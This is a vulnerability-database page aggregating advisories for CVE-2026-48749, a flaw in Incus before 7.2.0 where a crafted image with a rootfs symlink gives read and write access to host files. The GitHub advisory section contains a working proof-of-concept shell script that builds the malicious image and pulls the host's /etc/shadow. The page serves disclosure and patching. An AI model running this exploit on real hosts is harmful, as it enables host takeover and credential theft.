CVE-2026-48749

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

CVSS 3.1 9.9 CRITICALEUVD CVSS 3.1 9.9 CVSS 3.1 · [email protected] · Secondary 9.9 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/lxc/incus/v7/cmd/incusd 7.2.0osv · severity unknownFixed by github.com/lxc/incus/v7 7.2.0KEV status unknown

Original advisory

cve-program · CVE-2026-48749

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.

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euvd · EUVD-2026-63976

Published

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nvd · CVE-2026-48749

Published

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osv · GHSA-2q3f-q5pq-g8wv

Published

### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

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osv · GO-2026-5798

Published

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image in github.com/lxc/incus

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Affected versions, risk and source history

Exploitation and risk

Source status

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cve-program · CVE-2026-48749

Published

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

Source published: 21 Aug 2026 14:17:54 UTC
Source modified: 5 Nov 2026 23:20:29 UTC
Saved here: 6 Nov 2026 01:36:41 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

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CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

euvd · EUVD-2026-63976

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 21, 2026, 2:17:54 PM

dateUpdated: Nov 5, 2026, 11:20:29 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2026:11651-1: incus-7.4-1.1 on GA media

CVE-2026-39402 · CVE-2026-47753 · CVE-2026-48749 · CVE-2026-48750 · CVE-2026-48751 · CVE-2026-48752 · CVE-2026-48753 · CVE-2026-48754 · CVE-2026-48755 · CVE-2026-48756 · CVE-2026-48769 · CVE-2026-55621 · CVE-2026-55622 · CVE-2026-62313 · CVE-2026-62867 · CVE-2026-62940 · CVE-2026-62941 · CVE-2026-63125 · CVE-2026-63343 · CVE-2026-81500 · CVE-2026-81501

Source published: Aug 21, 2026, 2:17:54 PM (timezone not stated)
Source modified: Nov 5, 2026, 11:20:29 PM (timezone not stated)
Saved here: 15 Nov 2026 14:08:24 UTC
Source terms: ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

nvd · CVE-2026-48749

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-73

Original publisher date fields

published: 2026-08-21T15:16:40.247

lastModified: 2026-11-06T01:17:49.197

Source published: 21 Aug 2026 15:16:40 UTC
Source modified: 6 Nov 2026 01:17:49 UTC
Saved here: 6 Nov 2026 15:03:32 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

osv · GHSA-2q3f-q5pq-g8wv

Published

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

Source published: 26 Jun 2026 18:31:21 UTC
Source modified: 6 Nov 2026 10:57:01 UTC
Saved here: 6 Nov 2026 11:13:14 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

osv · GO-2026-5798

Published

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image in github.com/lxc/incus

Source published: 7 Jul 2026 16:41:46 UTC
Source modified: 7 Jul 2026 20:30:14 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.